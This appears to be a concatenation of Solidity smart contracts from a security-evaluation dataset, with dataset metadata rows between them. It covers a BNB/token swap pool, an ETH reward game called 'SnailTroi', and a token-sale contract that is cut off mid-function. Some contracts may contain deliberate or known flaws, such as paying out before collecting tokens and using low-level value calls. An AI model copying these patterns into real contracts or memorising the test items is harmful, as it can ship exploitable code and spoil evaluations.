event onAddLiquidity(address indexed provider, uint256 indexed bnb_amount, uint256 indexed token_amount);
event onRemoveLiquidity(address indexed provider, uint256 indexed bnb_amount, uint256 indexed token_amount);
event onLiquidity(address indexed provider, uint256 indexed amount);
event onContractBalance(uint256 balance);
event onPrice(uint256 price);
event onSummary(uint256 liquidity, uint256 price);
constructor (address token_addr) Ownable() public {
token = IToken(token_addr);
lastBalance_= now;
}
function unpause() public onlyOwner {
isPaused = false;
}
function pause() public onlyOwner {
isPaused = true;
}
modifier isNotPaused() {
require(!isPaused, "Swaps currently paused");
_;
}
receive() external payable {
bnbToTokenInput(msg.value, 1, msg.sender, msg.sender);
}
function getInputPrice(uint256 input_amount, uint256 input_reserve, uint256 output_reserve) public view returns (uint256) {
require(input_reserve > 0 && output_reserve > 0, "INVALID_VALUE");
uint256 input_amount_with_fee = input_amount.mul(990);
uint256 numerator = input_amount_with_fee.mul(output_reserve);
uint256 denominator = input_reserve.mul(1000).add(input_amount_with_fee);
return numerator / denominator;
}
function getOutputPrice(uint256 output_amount, uint256 input_reserve, uint256 output_reserve) public view returns (uint256) {
require(input_reserve > 0 && output_reserve > 0,"input_reserve & output reserve must >0");
uint256 numerator = input_reserve.mul(output_amount).mul(1000);
uint256 denominator = (output_reserve.sub(output_amount)).mul(990);
return (numerator / denominator).add(1);
}
function bnbToTokenInput(uint256 bnb_sold, uint256 min_tokens, address buyer, address recipient) private returns (uint256) {
require(bnb_sold > 0 && min_tokens > 0, "sold and min 0");
uint256 token_reserve = token.balanceOf(address(this));
uint256 tokens_bought = getInputPrice(bnb_sold, address(this).balance.sub(bnb_sold), token_reserve);
require(tokens_bought >= min_tokens, "tokens_bought >= min_tokens");
require(token.transfer(recipient, tokens_bought), "transfer err");
emit onTokenPurchase(buyer, bnb_sold, tokens_bought);
emit onContractBalance(bnbBalance());
trackGlobalStats();
return tokens_bought;
}
function bnbToTokenSwapInput(uint256 min_tokens) public payable isNotPaused returns (uint256) {
return bnbToTokenInput(msg.value, min_tokens,msg.sender, msg.sender);
}
function bnbToTokenOutput(uint256 tokens_bought, uint256 max_bnb, address buyer, address recipient) private returns (uint256) {
require(tokens_bought > 0 && max_bnb > 0,"tokens_bought > 0 && max_bnb >");
uint256 token_reserve = token.balanceOf(address(this));
uint256 bnb_sold = getOutputPrice(tokens_bought, address(this).balance.sub(max_bnb), token_reserve);
// Throws if bnb_sold > max_bnb
uint256 bnb_refund = max_bnb.sub(bnb_sold);
if (bnb_refund > 0) {
payable(buyer).transfer(bnb_refund);
}
require(token.transfer(recipient, tokens_bought),"error");
emit onTokenPurchase(buyer, bnb_sold, tokens_bought);
trackGlobalStats();
return bnb_sold;
}
function bnbToTokenSwapOutput(uint256 tokens_bought) public payable isNotPaused returns (uint256) {
return bnbToTokenOutput(tokens_bought, msg.value, msg.sender, msg.sender);
}
function tokenToBnbInput(uint256 tokens_sold, uint256 min_bnb, address buyer, address recipient) private returns (uint256) {
require(tokens_sold > 0 && min_bnb > 0,"tokens_sold > 0 && min_bnb > 0");
uint256 token_reserve = token.balanceOf(address(this));
(uint256 realized_sold, uint256 taxAmount) = token.calculateTransferTaxes(buyer, tokens_sold);
uint256 bnb_bought = getInputPrice(realized_sold, token_reserve, address(this).balance);
require(bnb_bought >= min_bnb,"bnb_bought >= min_bnb");
payable(recipient).transfer(bnb_bought);
require(token.transferFrom(buyer, address(this), tokens_sold),"transforfrom error");
emit onBnbPurchase(buyer, tokens_sold, bnb_bought);
trackGlobalStats();
return bnb_bought;
}
function tokenToBnbSwapInput(uint256 tokens_sold, uint256 min_bnb) public isNotPaused returns (uint256) {
return tokenToBnbInput(tokens_sold, min_bnb, msg.sender, msg.sender);
}
function tokenToBnbOutput(uint256 bnb_bought, uint256 max_tokens, address buyer, address recipient) private returns (uint256) {
require(bnb_bought > 0,"bnb_bought > 0");
uint256 token_reserve = token.balanceOf(address(this));
uint256 tokens_sold = getOutputPrice(bnb_bought, token_reserve, address(this).balance);
(uint256 realized_sold, uint256 taxAmount) = token.calculateTransferTaxes(buyer, tokens_sold);
tokens_sold += taxAmount;
// tokens sold is always > 0
require(max_tokens >= tokens_sold, 'max tokens exceeded');
payable(recipient).transfer(bnb_bought);
require(token.transferFrom(buyer, address(this), tokens_sold),"transorfroom error");
emit onBnbPurchase(buyer, tokens_sold, bnb_bought);
trackGlobalStats();
return tokens_sold;
}
function tokenToBnbSwapOutput(uint256 bnb_bought, uint256 max_tokens) public isNotPaused returns (uint256) {
return tokenToBnbOutput(bnb_bought, max_tokens, msg.sender, msg.sender);
}
function trackGlobalStats() private {
uint256 price = getBnbToTokenOutputPrice(1e18);
uint256 balance = bnbBalance();
if (now.safeSub(lastBalance_) > trackingInterval_) {
emit onSummary(balance * 2, price);
lastBalance_ = now;
}
emit onContractBalance(balance);
emit onPrice(price);
totalTxs += 1;
_txs[msg.sender] += 1;
}
function getBnbToTokenInputPrice(uint256 bnb_sold) public view returns (uint256) {
require(bnb_sold > 0,"bnb_sold > 0,,,1");
uint256 token_reserve = token.balanceOf(address(this));
return getInputPrice(bnb_sold, address(this).balance, token_reserve);
}
function getBnbToTokenOutputPrice(uint256 tokens_bought) public view returns (uint256) {
require(tokens_bought > 0,"tokens_bought > 0,,,1");
uint256 token_reserve = token.balanceOf(address(this));
uint256 bnb_sold = getOutputPrice(tokens_bought, address(this).balance, token_reserve);
return bnb_sold;
}
function getTokenToBnbInputPrice(uint256 tokens_sold) public view returns (uint256) {
require(tokens_sold > 0, "token sold < 0,,,,,2");
uint256 token_reserve = token.balanceOf(address(this));
uint256 bnb_bought = getInputPrice(tokens_sold, token_reserve, address(this).balance);
return bnb_bought;
}
function getTokenToBnbOutputPrice(uint256 bnb_bought) public view returns (uint256) {
require(bnb_bought > 0,"bnb_bought > 0,,,,2");
uint256 token_reserve = token.balanceOf(address(this));
return getOutputPrice(bnb_bought, token_reserve, address(this).balance);
}
function tokenAddress() public view returns (address) {
return address(token);
}
function bnbBalance() public view returns (uint256) {
return address(this).balance;
}
function tokenBalance() public view returns (uint256) {
return token.balanceOf(address(this));
}
function getBnbToLiquidityInputPrice(uint256 bnb_sold) public view returns (uint256){
require(bnb_sold > 0,"bnb_sold > 0,,,,,3");
uint256 token_amount = 0;
uint256 total_liquidity = _totalSupply;
uint256 bnb_reserve = address(this).balance;
uint256 token_reserve = token.balanceOf(address(this));
token_amount = (bnb_sold.mul(token_reserve) / bnb_reserve).add(1);
uint256 liquidity_minted = bnb_sold.mul(total_liquidity) / bnb_reserve;
return liquidity_minted;
}
function getLiquidityToReserveInputPrice(uint amount) public view returns (uint256, uint256){
uint256 total_liquidity = _totalSupply;
require(total_liquidity > 0,"total_liquidity > 0,,,,1");
uint256 token_reserve = token.balanceOf(address(this));
uint256 bnb_amount = amount.mul(address(this).balance) / total_liquidity;
uint256 token_amount = amount.mul(token_reserve) / total_liquidity;
return (bnb_amount, token_amount);
}
function txs(address owner) public view returns (uint256) {
return _txs[owner];
}
function addLiquidity(uint256 min_liquidity, uint256 max_tokens) isNotPaused public payable returns (uint256) {
require(max_tokens > 0 && msg.value > 0, "Swap#addLiquidity: INVALID_ARGUMENT");
uint256 total_liquidity = _totalSupply;
uint256 token_amount = 0;
if (_providers[msg.sender] == false){
_providers[msg.sender] = true;
providers += 1;
}
if (total_liquidity > 0) {
require(min_liquidity > 0,"min_liquidity > 0,,,,4");
uint256 bnb_reserve = address(this).balance.sub(msg.value);
uint256 token_reserve = token.balanceOf(address(this));
token_amount = (msg.value.mul(token_reserve) / bnb_reserve).add(1);
uint256 liquidity_minted = msg.value.mul(total_liquidity) / bnb_reserve;
require(max_tokens >= token_amount && liquidity_minted >= min_liquidity,"max_tokens >= token_amount && liquidity_minted >= min_liquidity,,,,1");
_balances[msg.sender] = _balances[msg.sender].add(liquidity_minted);
_totalSupply = total_liquidity.add(liquidity_minted);
require(token.transferFrom(msg.sender, address(this), token_amount),"transfrom4 error");
emit onAddLiquidity(msg.sender, msg.value, token_amount);
emit onLiquidity(msg.sender, _balances[msg.sender]);
emit Transfer(address(0), msg.sender, liquidity_minted);
return liquidity_minted;
} else {
require(msg.value >= 1e18, "INVALID_VALUE");
token_amount = max_tokens;
uint256 initial_liquidity = address(this).balance;
_totalSupply = initial_liquidity;
_balances[msg.sender] = initial_liquidity;
require(token.transferFrom(msg.sender, address(this), token_amount),"transforfrom 5 error");
emit onAddLiquidity(msg.sender, msg.value, token_amount);
emit onLiquidity(msg.sender, _balances[msg.sender]);
emit Transfer(address(0), msg.sender, initial_liquidity);
return initial_liquidity;
}
}
function removeLiquidity(uint256 amount, uint256 min_bnb, uint256 min_tokens) onlyWhitelisted public returns (uint256, uint256) {
require(amount > 0 && min_bnb > 0 && min_tokens > 0,"amount > 0 && min_bnb > 0 && min_tokens > 0,333");
uint256 total_liquidity = _totalSupply;
require(total_liquidity > 0);
uint256 token_reserve = token.balanceOf(address(this));
uint256 bnb_amount = amount.mul(address(this).balance) / total_liquidity;
uint256 token_amount = amount.mul(token_reserve) / total_liquidity;
require(bnb_amount >= min_bnb && token_amount >= min_tokens,"(bnb_amount >= min_bnb && token_amount >= min_tokens,33");
_balances[msg.sender] = _balances[msg.sender].sub(amount);
_totalSupply = total_liquidity.sub(amount);
msg.sender.transfer(bnb_amount);
require(token.transfer(msg.sender, token_amount),"transfer error");
emit onRemoveLiquidity(msg.sender, bnb_amount, token_amount);
emit onLiquidity(msg.sender, _balances[msg.sender]);
emit Transfer(msg.sender, address(0), amount);
return (bnb_amount, token_amount);
}
}
| 123,525 | 14,002 |
005a500d9576b67d7fe60b101a0559cff5ce971898d7f0bf5b548421923c1622
| 16,016 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0xd10a9343a0981ccd01b06303a2cd88e089bf1dc6.sol
| 3,870 | 13,087 |
pragma solidity ^0.5.7;
contract SnailThrone {
mapping (address => uint256) public hatcherySnail;
}
contract SnailTroi {
using SafeMath for uint;
event GrewTroi(address indexed player, uint eth, uint size);
event NewLeader(address indexed player, uint eth);
event HarvestedFroot(address indexed player, uint eth, uint size);
event BecameKing(address indexed player, uint eth, uint king);
event ResetClock(address indexed player, uint eth);
event Doomed(address leader, address king, uint eth);
event WonDaily (address indexed player, uint eth);
event WithdrewBalance (address indexed player, uint eth);
event PaidThrone (address indexed player, uint eth);
event BoostedChest (address indexed player, uint eth);
uint256 constant SECONDS_IN_DAY = 86400;
uint256 constant MINIMUM_INVEST = 0.001 ether; //same value for Doomclock raise
uint256 constant KING_BASE_COST = 0.02 ether; //resets to this everytime the Doomclock reaches 0
uint256 constant REFERRAL_REQ = 420;
uint256 constant REFERRAL_PERCENT = 20;
uint256 constant KING_PERCENT = 4;
uint256 constant DAILY_PERCENT = 2;
address payable constant SNAILTHRONE= 0x261d650a521103428C6827a11fc0CBCe96D74DBc;
SnailThrone throneContract;
//Game status to ensure proper start
bool public gameActive = false;
//Dev address for proper start
address public dev = msg.sender;
//Main reward pot
uint256 public troiChest = 0;
//Divs for SnailThrone holders
uint256 public thronePot = 0;
//Current reward per troiSize
uint256 public troiReward = 0.000001 ether; //divide by this to get troiSize per ETH
//Doomclock
uint256 public doomclockTimer;
uint256 public doomclockCost = MINIMUM_INVEST;
address public doomclockLeader; //last buyer spending more ETH than doomclockCost
//King struct
struct King {
uint256 cost;
address owner;
}
King[4] lostKing;
//Last global claim
uint256 public lastBonus;
//Daily timer, leader, current max
uint256 public dailyTimer;
address public dailyLeader;
uint256 public dailyMax;
mapping (address => uint256) playerBalance;
mapping (address => uint256) troiSize;
mapping (address => uint256) lastFroot;
mapping (address => address) referral;
// Constructor
constructor() public {
throneContract = SnailThrone(SNAILTHRONE);
}
// StartGame
// Only usable by owner once, to start the game properly
// Requires a seed of 1 ETH
function StartGame() payable public {
require(gameActive != true, "game is already active");
require(msg.sender == dev, "you're not snailking!");
require(msg.value == 1 ether, "seed must be 1 ETH");
//All seed ETH goes to Chest
troiChest = msg.value;
//Get troiSize to give
uint256 _growth = msg.value.div(troiReward);
//Add player troiSize
troiSize[msg.sender] = troiSize[msg.sender].add(_growth);
//Avoid blackholing ETH
referral[msg.sender] = dev;
doomclockLeader = dev;
dailyLeader = dev;
for(uint256 i = 0; i < 4; i++){
lostKing[i].cost = KING_BASE_COST;
lostKing[i].owner = dev;
}
dailyTimer = now.add(SECONDS_IN_DAY);
doomclockTimer = now.add(SECONDS_IN_DAY);
lastBonus = now;
lastFroot[msg.sender] = now;
gameActive = true;
}
//-- PRIVATE --
// CheckDailyTimer
// If we're over, give reward to leader and reset values
// Transfer thronePot to SnailThrone if balance > 0.01 ETH
function CheckDailyTimer() private {
if(now > dailyTimer){
dailyTimer = now.add(SECONDS_IN_DAY);
uint256 _reward = troiChest.mul(DAILY_PERCENT).div(100);
troiChest = troiChest.sub(_reward);
playerBalance[dailyLeader] = playerBalance[dailyLeader].add(_reward);
dailyMax = 0;
emit WonDaily(dailyLeader, _reward);
if(thronePot > 0.01 ether){
uint256 _payThrone = thronePot;
thronePot = 0;
(bool success, bytes memory data) = SNAILTHRONE.call.value(_payThrone)("");
require(success);
emit PaidThrone(msg.sender, _payThrone);
}
}
}
// CheckDoomclock
// If we're not over, check if enough ETH to reset
// Increase doomclockCost and change doomclockLeader if so
// Else, reward winners and reset Kings
function CheckDoomclock(uint256 _msgValue) private {
if(now < doomclockTimer){
if(_msgValue >= doomclockCost){
doomclockTimer = now.add(SECONDS_IN_DAY);
doomclockCost = doomclockCost.add(MINIMUM_INVEST);
doomclockLeader = msg.sender;
emit ResetClock(msg.sender, doomclockCost);
}
} else {
troiReward = troiReward.mul(9).div(10);
doomclockTimer = now.add(SECONDS_IN_DAY);
doomclockCost = MINIMUM_INVEST;
uint256 _reward = troiChest.mul(KING_PERCENT).div(100);
troiChest = troiChest.sub(_reward.mul(2));
playerBalance[doomclockLeader] = playerBalance[doomclockLeader].add(_reward);
playerBalance[lostKing[3].owner] = playerBalance[lostKing[3].owner].add(_reward);
for(uint256 i = 0; i < 4; i++){
lostKing[i].cost = KING_BASE_COST;
}
emit Doomed(doomclockLeader, lostKing[3].owner, _reward);
}
}
//-- GAME ACTIONS --
// GrowTroi
// Claims divs if need be
// Gives player troiSize in exchange for ETH
// Checks Doomclock, dailyMax
function GrowTroi(address _ref) public payable {
require(gameActive == true, "game hasn't started yet");
require(tx.origin == msg.sender, "no contracts allowed");
require(msg.value >= MINIMUM_INVEST, "at least 1 finney to grow a troi");
require(_ref != msg.sender, "can't refer yourself, silly");
//Call HarvestFroot if player is already invested, else set lastFroot to now
if(troiSize[msg.sender] != 0){
HarvestFroot();
} else {
lastFroot[msg.sender] = now;
}
//Assign new ref. If referrer lacks snail requirement, dev becomes referrer
uint256 _snail = GetSnail(_ref);
if(_snail >= REFERRAL_REQ){
referral[msg.sender] = _ref;
} else {
referral[msg.sender] = dev;
}
//Split ETH to pot
uint256 _chestTemp = troiChest.add(msg.value.mul(9).div(10));
thronePot = thronePot.add(msg.value.div(10));
//Give reward to Blue King
uint256 _reward = msg.value.mul(KING_PERCENT).div(100);
_chestTemp = _chestTemp.sub(_reward);
troiChest = _chestTemp;
playerBalance[lostKing[0].owner] = playerBalance[lostKing[0].owner].add(_reward);
//Get troiSize to give
uint256 _growth = msg.value.div(troiReward);
//Add player troiSize
troiSize[msg.sender] = troiSize[msg.sender].add(_growth);
//Emit event
emit GrewTroi(msg.sender, msg.value, troiSize[msg.sender]);
//Check msg.value against dailyMax
if(msg.value > dailyMax){
dailyMax = msg.value;
dailyLeader = msg.sender;
emit NewLeader(msg.sender, msg.value);
}
//Check dailyTimer
CheckDailyTimer();
//Check Doomclock
CheckDoomclock(msg.value);
}
// HarvestFroot
// Gives player his share of ETH, according to global bonus
// Sets his lastFroot to now, sets lastBonus to now
// Checks Doomclock
function HarvestFroot() public {
require(gameActive == true, "game hasn't started yet");
require(troiSize[msg.sender] > 0, "grow your troi first");
uint256 _timeSince = lastFroot[msg.sender].add(SECONDS_IN_DAY);
require(now > _timeSince, "your harvest isn't ready");
//Get ETH reward for player and ref
uint256 _reward = ComputeHarvest();
uint256 _ref = _reward.mul(REFERRAL_PERCENT).div(100);
uint256 _king = _reward.mul(KING_PERCENT).div(100);
//Set lastFroot and lastBonus
lastFroot[msg.sender] = now;
lastBonus = now;
//Lower troiPot
troiChest = troiChest.sub(_reward).sub(_ref).sub(_king);
//Give referral reward
playerBalance[referral[msg.sender]] = playerBalance[referral[msg.sender]].add(_ref);
//Give green king reward
playerBalance[lostKing[2].owner] = playerBalance[lostKing[2].owner].add(_king);
//Give player reward
playerBalance[msg.sender] = playerBalance[msg.sender].add(_reward);
emit HarvestedFroot(msg.sender, _reward, troiSize[msg.sender]);
//Check dailyTimer
CheckDailyTimer();
//Check Doomclock
CheckDoomclock(0);
}
// BecomeKing
// Player becomes the owner of a King in exchange for ETH
// Pays out previous owner, increases cost
function BecomeKing(uint256 _id) payable public {
require(gameActive == true, "game is paused");
require(tx.origin == msg.sender, "no contracts allowed");
require(msg.value == lostKing[_id].cost, "wrong ether cost for king");
//split 0.01 ETH to pots
troiChest = troiChest.add(KING_BASE_COST.div(4));
thronePot = thronePot.add(KING_BASE_COST.div(4));
//give value - 0.01 ETH to previous owner
uint256 _prevReward = msg.value.sub(KING_BASE_COST.div(2));
address _prevOwner = lostKing[_id].owner;
playerBalance[_prevOwner] = playerBalance[_prevOwner].add(_prevReward);
//give King to flipper, increase cost
lostKing[_id].owner = msg.sender;
lostKing[_id].cost = lostKing[_id].cost.add(KING_BASE_COST);
emit BecameKing(msg.sender, msg.value, _id);
}
//-- MISC ACTIONS --
// WithdrawBalance
// Withdraws the ETH balance of a player to his wallet
function WithdrawBalance() public {
require(playerBalance[msg.sender] > 0, "no ETH in player balance");
uint _amount = playerBalance[msg.sender];
playerBalance[msg.sender] = 0;
msg.sender.transfer(_amount);
emit WithdrewBalance(msg.sender, _amount);
}
// fallback function
// Feeds the troiChest
function() external payable {
troiChest = troiChest.add(msg.value);
emit BoostedChest(msg.sender, msg.value);
}
//-- CALCULATIONS --
// ComputeHarvest
// Returns ETH reward for HarvestShare
function ComputeHarvest() public view returns(uint256) {
//Get time since last Harvest
uint256 _timeLapsed = now.sub(lastFroot[msg.sender]);
//Get current bonus
uint256 _bonus = ComputeBonus();
//Compute reward
uint256 _reward = troiReward.mul(troiSize[msg.sender]).mul(_timeLapsed.add(_bonus)).div(SECONDS_IN_DAY).div(100);
//Check reward + ref + king isn't above remaining troiChest
uint256 _sum = _reward.add(_reward.mul(REFERRAL_PERCENT.add(KING_PERCENT)).div(100));
if(_sum > troiChest){
_reward = troiChest.mul(100).div(REFERRAL_PERCENT.add(KING_PERCENT).add(100));
}
return _reward;
}
// ComputeBonus
// Returns time since last bonus x 8
function ComputeBonus() public view returns(uint256) {
uint256 _bonus = (now.sub(lastBonus)).mul(8);
if(msg.sender == lostKing[1].owner){
_bonus = _bonus.mul(2);
}
return _bonus;
}
//-- GETTERS --
function GetTroi(address adr) public view returns(uint256) {
return troiSize[adr];
}
function GetMyBalance() public view returns(uint256) {
return playerBalance[msg.sender];
}
function GetMyLastHarvest() public view returns(uint256) {
return lastFroot[msg.sender];
}
function GetMyReferrer() public view returns(address) {
return referral[msg.sender];
}
function GetSnail(address _adr) public view returns(uint256) {
return throneContract.hatcherySnail(_adr);
}
function GetKingCost(uint256 _id) public view returns(uint256) {
return lostKing[_id].cost;
}
function GetKingOwner(uint256 _id) public view returns(address) {
return lostKing[_id].owner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 214,938 | 14,003 |
c2636ca4ca446b5198bfa33dbed038436b771fbc590600c487d8bd91cf62897f
| 31,068 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/35/35112d297e95d840bb5d343b1f307e09ffaee729_TokenSale.sol
| 3,513 | 13,759 |
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract TokenSale {
using SafeERC20 for ERC20;
using Address for address;
using SafeMath for uint;
uint256 public constant PRICE = 1;
uint256 public constant MAX_BY_MINT = 10;
uint256 public left_elements;
mapping(address => bool) public investor;
mapping(address => bool) public claimed;
address public baseToken;
address public farmingToken;
address public dev;
uint256 depositeTimestamp;
uint256 claimTimestamp;
bool initClaimBlock = false;
event Deposit();
event Claim();
constructor(address _baseToken, address _farmingToken, address _dev, uint256 _total, uint256 _depositeTimestamp) {
baseToken = _baseToken;
farmingToken = _farmingToken;
dev = _dev;
left_elements = _total;
depositeTimestamp = _depositeTimestamp;
}
modifier onlyEOA() {
require(msg.sender == tx.origin, "!EOA");
_;
}
function deposite() public onlyEOA {
require(depositeTimestamp <= block.timestamp, "!start");
require(left_elements > 0, "sale out");
require(!investor[msg.sender],"deposited");
IERC20(baseToken).transferFrom(msg.sender, address(this), MAX_BY_MINT * PRICE * 10 ** (ERC20(baseToken).decimals()));
investor[msg.sender] = true;
left_elements = left_elements - 1;
emit Deposit();
}
function claim() public onlyEOA {
require(initClaimBlock, "!init");
require(claimTimestamp <= block.timestamp, "!start");
require(investor[msg.sender], "not investor");
require(!claimed[msg.sender], "claimed");
claimed[msg.sender] = true;
IERC20(farmingToken).transfer(msg.sender, MAX_BY_MINT * 10 ** (ERC20(farmingToken).decimals()));
emit Claim();
}
function setClaimTimestamp(uint256 _claimTimestamp) public {
require(msg.sender == dev, "!dev");
claimTimestamp = _claimTimestamp;
initClaimBlock = true;
}
function withdraw(address _token) public {
require(msg.sender == dev, "!dev");
